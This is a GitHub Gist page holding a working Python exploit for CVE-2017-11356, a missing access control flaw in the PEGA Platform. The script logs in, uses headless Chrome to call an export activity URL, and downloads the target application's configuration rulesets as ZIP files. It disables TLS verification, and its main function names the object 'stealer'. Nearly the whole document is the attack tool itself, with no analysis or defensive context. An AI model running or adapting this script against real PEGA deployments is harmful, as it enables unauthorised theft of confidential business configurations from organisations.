Last active
March 15, 2021 11:01
-
-
Save klezVirus/25b0da06573744304beb6203feb26f3c to your computer and use it in GitHub Desktop.
CVE-2017-11356: PEGA Platform Missing Access Control
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
import argparse | |
import traceback | |
import pytest | |
import time | |
import json | |
from selenium import webdriver | |
from selenium.webdriver.chrome.options import Options | |
from selenium.webdriver.common.by import By | |
from selenium.webdriver.common.action_chains import ActionChains | |
from selenium.webdriver.support import expected_conditions | |
from selenium.webdriver.support.wait import WebDriverWait | |
from selenium.webdriver.common.keys import Keys | |
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities | |
from selenium.webdriver.support import expected_conditions as EC | |
from bs4 import BeautifulSoup | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
class Driver: | |
def __init__(self, url=None): | |
chrome_options = Options() | |
chrome_options.headless = True | |
chrome_options.add_argument('log-level=3') | |
chrome_options.add_experimental_option('excludeSwitches', ['enable-logging']) | |
self.driver = webdriver.Chrome(options=chrome_options) | |
if url: | |
self.driver.get(url) | |
self.vars = {} | |
def set_cookies(self, cookies=None): | |
if cookies is None: | |
return | |
for c in cookies: | |
self.driver.add_cookie(c) | |
def teardown(self): | |
self.driver.quit() | |
def get_download_url(self, url=None): | |
self.driver.get(url) | |
try: | |
element = WebDriverWait(self.driver, 60).until( | |
EC.presence_of_element_located((By.CSS_SELECTOR, "a.ProgLabel")) | |
) | |
u = element.get_attribute("href") | |
return u | |
except Exception as e: | |
print(f"[-] Error exporting the configurations: {e}") | |
return | |
class ConfigDownloader: | |
DOWNLOAD_BY = ["APPLICATION", | |
"RULESET", | |
"PRODUCT"] | |
def __init__(self, user=None, password=None, target=None, app=None, random_token=None, version=None, filename=None, proxy=False): | |
self.session = requests.session() | |
self.user = user | |
self.password = password | |
self.token = None | |
self.categories = ConfigDownloader.DOWNLOAD_BY | |
self.app = app | |
self.filename = filename | |
self.version = version | |
self.random_token = random_token | |
self.origin = f"https://{target}" | |
self.baseurl = f"https://{target}/prweb/app/{self.app}/{self.random_token}*" | |
self.headers = { | |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Mozilla/84.0", | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", | |
"Accept-Language": "it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3", | |
"Accept-Encoding": "gzip, deflate", | |
"Content-Type": "application/x-www-form-urlencoded", | |
"Origin": self.origin, | |
"Connection": "close", | |
"Upgrade-Insecure-Requests": "1", | |
"Cache-Control": "max-age=0"} | |
self.proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} if proxy else None | |
self.driver = Driver(self.login_url) | |
@property | |
def login_url(self): | |
return f"{self.baseurl}/!STANDARD" | |
def export_url(self, by="APPLICATION"): | |
if by == "APPLICATION": | |
return f"{self.baseurl}/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName={self.filename}-{by}.zip&pyRuleSet={self.app}&pyRuleSetVersion={self.version}&pyAppContext=&PageName=pyZipMoveRuleSets" | |
elif by == "RULESET": | |
return f"{self.baseurl}/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName={self.filename}-{by}.zip&pyRuleSet={self.app}&pyRuleSetVersion={self.version}&pyAppContext=&PageName=pyZipMoveRuleSets" | |
elif by == "PRODUCT": | |
return f"{self.baseurl}/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName={self.filename}-{by}.zip&pyRuleSet={self.app}&pyRuleSetVersion=&pyAppContext=&PageName=pyZipMoveRuleSets" | |
else: | |
raise Exception("Unknown Export Type") | |
def login(self): | |
print("[*] Logging in... ", end="") | |
data = {"pzAuth": "guest", | |
"UserIdentifier": self.user, | |
"Password": self.password, | |
"pyActivity=Code-Security.Login": '', | |
"lockScreenID": '', | |
"lockScreenPassword": '', | |
"newPassword": '', | |
"confirmNewPassword": ''} | |
r = self.session.post(self.login_url, headers=self.headers, data=data, verify=False, proxies=self.proxies) | |
if not 303 in [sr.status_code for sr in r.history]: | |
print("FAILED") | |
print("[-] Authentication failure") | |
sys.exit(1) | |
print("SUCCESS") | |
cookies = [ | |
{'name': c.name, 'value': c.value, 'domain': c.domain, 'path': c.path} | |
for c in self.session.cookies | |
] | |
self.driver.set_cookies(cookies) | |
def is_zip(self, url=None): | |
h = self.session.head(url, headers=self.headers, proxies=self.proxies, verify=False) | |
header = h.headers | |
content_type = header.get('content-type') | |
if 'zip' in content_type.lower(): | |
return True | |
return False | |
def download(self, category=None): | |
if category is not None: | |
categories = [category] | |
else: | |
categories = self.categories | |
for c in categories: | |
print(f"[*] Trying downloading exporting Application Configurations by {c}") | |
url = self.driver.get_download_url(url=self.export_url(c)) | |
if url and self.is_zip(url): | |
print(f"[*] Located Exported ZIP at {url}") | |
r = self.session.get(url, headers=self.headers, proxies=self.proxies, verify=False) | |
try: | |
fszip = f"{self.filename}-{c}.zip" | |
print(f"[*] Saving Application Configurations in {fszip}... ", end='') | |
with open(fszip, "wb") as zipconf: | |
zipconf.write(r.content) | |
print("SUCCESS") | |
except: | |
print("FAILED") | |
print("[-] Error saving the file") | |
def main(): | |
parser = argparse.ArgumentParser(description='PEGA Platform - Configuration Downloader') | |
parser.add_argument( | |
'-f', '--file', required=False, type=str, default="configurations", help='Export ZIP Filename') | |
parser.add_argument( | |
'-c', '--by', required=False, type=str, choices=ConfigDownloader.DOWNLOAD_BY, help='Export by category') | |
parser.add_argument( | |
'-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)') | |
parser.add_argument( | |
'-u', '--user', required=True, type=str, default=None, help='PEGA User') | |
parser.add_argument( | |
'-p', '--password', required=True, type=str, default=None, help='PEGA User\'s Password') | |
parser.add_argument( | |
'-t', '--target', required=True, type=str, default=None, help='Target Hostname') | |
parser.add_argument( | |
'-r', '--random-token', required=True, type=str, default=None, help='Target Application Token') | |
parser.add_argument( | |
'-a', '--app', required=True, type=str, default=None, help='Target Application Name') | |
parser.add_argument( | |
'-v', '--ver', required=True, type=str, default="01.01.01", help='Target Application Version') | |
args = parser.parse_args() | |
try: | |
stealer = ConfigDownloader(user=args.user, password=args.password, app=args.app, version=args.ver, filename=args.file, random_token=args.random_token, target=args.target, proxy=args.proxy) | |
stealer.login() | |
if args.by: | |
stealer.download(category=args.by) | |
else: | |
stealer.download() | |
except Exception as e: | |
print(f"[-] Fatal Error: {e}") | |
traceback.print_exc() | |
if __name__ == '__main__': | |
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment